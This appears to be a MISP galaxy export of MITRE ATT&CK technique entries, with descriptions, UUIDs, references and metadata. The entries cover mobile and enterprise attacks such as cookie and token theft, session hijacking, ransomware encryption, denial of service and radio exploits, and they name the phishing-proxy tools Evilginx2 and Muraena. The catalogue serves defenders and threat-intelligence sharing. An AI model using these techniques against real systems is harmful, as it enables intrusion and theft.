UUID 4886e3c2-468b-4e26-b7e5-2031d995d13a which can be used as unique global reference for Build or acquire exploits - T1349 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1349 |
| kill_chain | ['pre-attack:build-capabilities'] |
Create infected removable media - T1355
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)
Internal MISP references
UUID eacadff4-164b-451c-bacc-7b29ebfd0c3f which can be used as unique global reference for Create infected removable media - T1355 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1355 |
| kill_chain | ['pre-attack:build-capabilities'] |
Steal Application Access Token - T1635
Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue.
Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.
Internal MISP references
UUID 233fe2c0-cb41-4765-b454-e0087597fbce which can be used as unique global reference for Steal Application Access Token - T1635 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1635 - webarchive
- https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ - webarchive
- https://developer.android.com/training/app-links/index.html - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow - webarchive
- https://tools.ietf.org/html/rfc8252 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1635 |
| kill_chain | ['mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Remote Service Session Hijacking - T1563
Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.
Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)
Internal MISP references
UUID 5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5 which can be used as unique global reference for Remote Service Session Hijacking - T1563 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1563 - webarchive
- https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident - webarchive
- https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1563 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Steal Web Session Cookie - T1539
An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)
There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
There are also open source frameworks such as Evilginx2 and Muraena that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)
After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.
Internal MISP references
UUID 10ffac09-e42d-4f56-ab20-db94c67d76ff which can be used as unique global reference for Steal Web Session Cookie - T1539 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1539 - webarchive
- https://blog.talosintelligence.com/roblox-scam-overview/ - webarchive
- https://github.com/kgretzky/evilginx2 - webarchive
- https://github.com/muraenateam/muraena - webarchive
- https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/ - webarchive
- https://securelist.com/project-tajmahal/90240/ - webarchive
- https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - webarchive
- https://wunderwuzzi23.github.io/blog/passthecookie.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1539 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-Google-Workspace:credential-access'] |
| mitre_data_sources | ['File: File Access', 'Process: Process Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace'] |
Targeted social media phishing - T1366
This technique has been deprecated. Please use Spearphishing via Service.
Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)
Internal MISP references
UUID eb517589-eefc-480e-b8e3-7a8b1066f6f1 which can be used as unique global reference for Targeted social media phishing - T1366 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1366 |
| kill_chain | ['pre-attack:launch'] |
Exfiltration Over Alternative Protocol - T1639
Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels.
Internal MISP references
UUID 3e091a89-a493-4a6c-8e88-d57be19bb98d which can be used as unique global reference for Exfiltration Over Alternative Protocol - T1639 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1639 |
| kill_chain | ['mobile-attack-Android:exfiltration', 'mobile-attack-iOS:exfiltration'] |
| mitre_platforms | ['Android', 'iOS'] |
Modify Trusted Execution Environment - T1399
If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)
Internal MISP references
UUID f1c3d071-0c24-483d-aca0-e8b8496ce468 which can be used as unique global reference for Modify Trusted Execution Environment - T1399 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1399 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Masquerade as Legitimate Application - T1444
An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.
Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.
Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)
Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.
Internal MISP references
UUID a93ccb8f-3996-42e2-b7c7-bb599d4e205f which can be used as unique global reference for Masquerade as Legitimate Application - T1444 in MISP communities and other software using the MISP galaxy
External references
- http://ieeexplore.ieee.org/document/6234407 - webarchive
- https://attack.mitre.org/techniques/T1444 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html - webarchive
- https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1444 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access', 'mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Out of Band Data - T1644
Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth.
On Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there.
On iOS, there is no way to programmatically read push notifications.
Internal MISP references
UUID ec4c4baa-026f-43e8-8f56-58c36f3162dd which can be used as unique global reference for Out of Band Data - T1644 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1644 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Network Denial of Service - T1464
Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices.
A Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer’s operational range.(Citation: NIST-SP800187)
Usage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)
Internal MISP references
UUID d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d which can be used as unique global reference for Network Denial of Service - T1464 in MISP communities and other software using the MISP galaxy
External references
- http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf - webarchive
- https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/ - webarchive
- https://attack.mitre.org/techniques/T1464 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html - webarchive
- https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/ - webarchive
- https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/ - webarchive
- https://www.nytimes.com/2007/11/04/technology/04jammer.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1464 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-iOS:impact'] |
| mitre_platforms | ['Android', 'iOS'] |
Compromise Host Software Binary - T1554
Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.
Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.
An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)
Internal MISP references
UUID 960c3c86-1480-4d72-b4e0-8c242e84a5c5 which can be used as unique global reference for Compromise Host Software Binary - T1554 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1554 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence'] |
| mitre_data_sources | ['File: File Creation', 'File: File Deletion', 'File: File Metadata', 'File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Compromise Client Software Binary - T1645
Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators.
Adversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device.
Internal MISP references
UUID 4f14e30b-8b57-4a7b-9093-2c0778ea99cf which can be used as unique global reference for Compromise Client Software Binary - T1645 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1645 |
| kill_chain | ['mobile-attack-Android:persistence', 'mobile-attack-iOS:persistence'] |
| mitre_platforms | ['Android', 'iOS'] |
Abuse Elevation Control Mechanism - T1548
Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)
Internal MISP references
UUID 67720091-eee3-4d2d-ae16-8264567f6f5b which can be used as unique global reference for Abuse Elevation Control Mechanism - T1548 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1548 - webarchive
- https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - webarchive
- https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - webarchive
- https://www.sudo.ws/ - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548 |
| kill_chain | ['attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-Azure-AD:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata', 'User Account: User Account Modification', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'IaaS', 'Google Workspace', 'Azure AD'] |
Replication Through Removable Media - T1458
Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include:
- Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.(Citation: IBM-NexusUSB)
- Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.(Citation: GoogleProjectZero-OATmeal)
- Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.(Citation: Computerworld-iPhoneCracking)
Internal MISP references
UUID 667e5707-3843-4da8-bd34-88b922526f0d which can be used as unique global reference for Replication Through Removable Media - T1458 in MISP communities and other software using the MISP galaxy
External references
- http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/ - webarchive
- https://attack.mitre.org/techniques/T1458 - webarchive
- https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html - webarchive
- https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-6.html - webarchive
- https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/ - webarchive
- https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1458 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access', 'mobile-attack-Android:lateral-movement', 'mobile-attack-iOS:lateral-movement'] |
| mitre_platforms | ['Android', 'iOS'] |
Exploitation for Initial Access - T1664
Adversaries may exploit software vulnerabilities to gain initial access to a mobile device.
This can be accomplished in a variety of ways. Vulnerabilities may be present in applications, services, the underlying operating system, or in the kernel itself. Several well-known mobile device exploits exist, including FORCEDENTRY, StageFright, and BlueBorne. Further, some exploits may be possible to exploit without any user interaction (zero-click), making them particularly dangerous. Mobile operating system vendors are typically very quick to patch such critical bugs, ensuring only a small window where they can be exploited.
Internal MISP references
UUID 6ecbc2eb-e85a-440a-ab68-4d98f8d56fbe which can be used as unique global reference for Exploitation for Initial Access - T1664 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1664 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Downgrade to Insecure Protocols - T1466
An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.
Internal MISP references
UUID f58cd69a-e548-478b-9248-8a9af881dc34 which can be used as unique global reference for Downgrade to Insecure Protocols - T1466 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1466 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Rogue Cellular Base Station - T1467
An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).
Internal MISP references
UUID a5de0540-73e7-4c67-96da-4143afedc7ed which can be used as unique global reference for Rogue Cellular Base Station - T1467 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1467 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Data Encrypted for Impact - T1486
Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)
In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)
To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)
In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)
Internal MISP references
UUID b80d107d-fa0d-4b60-9684-b0433e8bdba0 which can be used as unique global reference for Data Encrypted for Impact - T1486 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1486 - webarchive
- https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary - webarchive
- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ - webarchive
- https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ - webarchive
- https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html - webarchive
- https://www.us-cert.gov/ncas/alerts/AA18-337A - webarchive
- https://www.us-cert.gov/ncas/alerts/TA16-091A - webarchive
- https://www.us-cert.gov/ncas/alerts/TA17-181A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1486 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-IaaS:impact'] |
| mitre_data_sources | ['Cloud Storage: Cloud Storage Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Network Share: Network Share Access', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'IaaS'] |
Exploit via Radio Interfaces - T1477
The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.
Baseband Vulnerability Exploitation
A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).
Malicious SMS Message
An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).
Internal MISP references
UUID 2d646840-f6f5-4619-a5a8-29c8316bbac5 which can be used as unique global reference for Exploit via Radio Interfaces - T1477 in MISP communities and other software using the MISP galaxy
External references
- http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html - webarchive
- http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/ - webarchive
- https://attack.mitre.org/techniques/T1477 - webarchive
- https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html - webarchive
- https://srlabs.de/bites/rooting-sim-cards/ - webarchive
- https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1477 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Network Denial of Service - T1498
Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).
To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
For DoS attacks targeting the hosting system directly, see Endpoint Denial of Service.
Internal MISP references
UUID d74c4a7e-ffbf-432f-9365-7ebf1f787cab which can be used as unique global reference for Network Denial of Service - T1498 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1498 - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
- https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html - webarchive
- https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf - webarchive
- https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1498 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact', 'attack-Containers:impact'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers'] |
Endpoint Denial of Service - T1499
Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).
To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)
For attacks attempting to saturate the providing network, see Network Denial of Service.
Internal MISP references
UUID c675646d-e204-4aa8-978d-e3d6d65885c4 which can be used as unique global reference for Endpoint Denial of Service - T1499 in MISP communities and other software using the MISP galaxy
External references
- https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/ - webarchive
- https://attack.mitre.org/techniques/T1499 - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf - webarchive
- https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html - webarchive
- https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf - webarchive
- https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged - webarchive
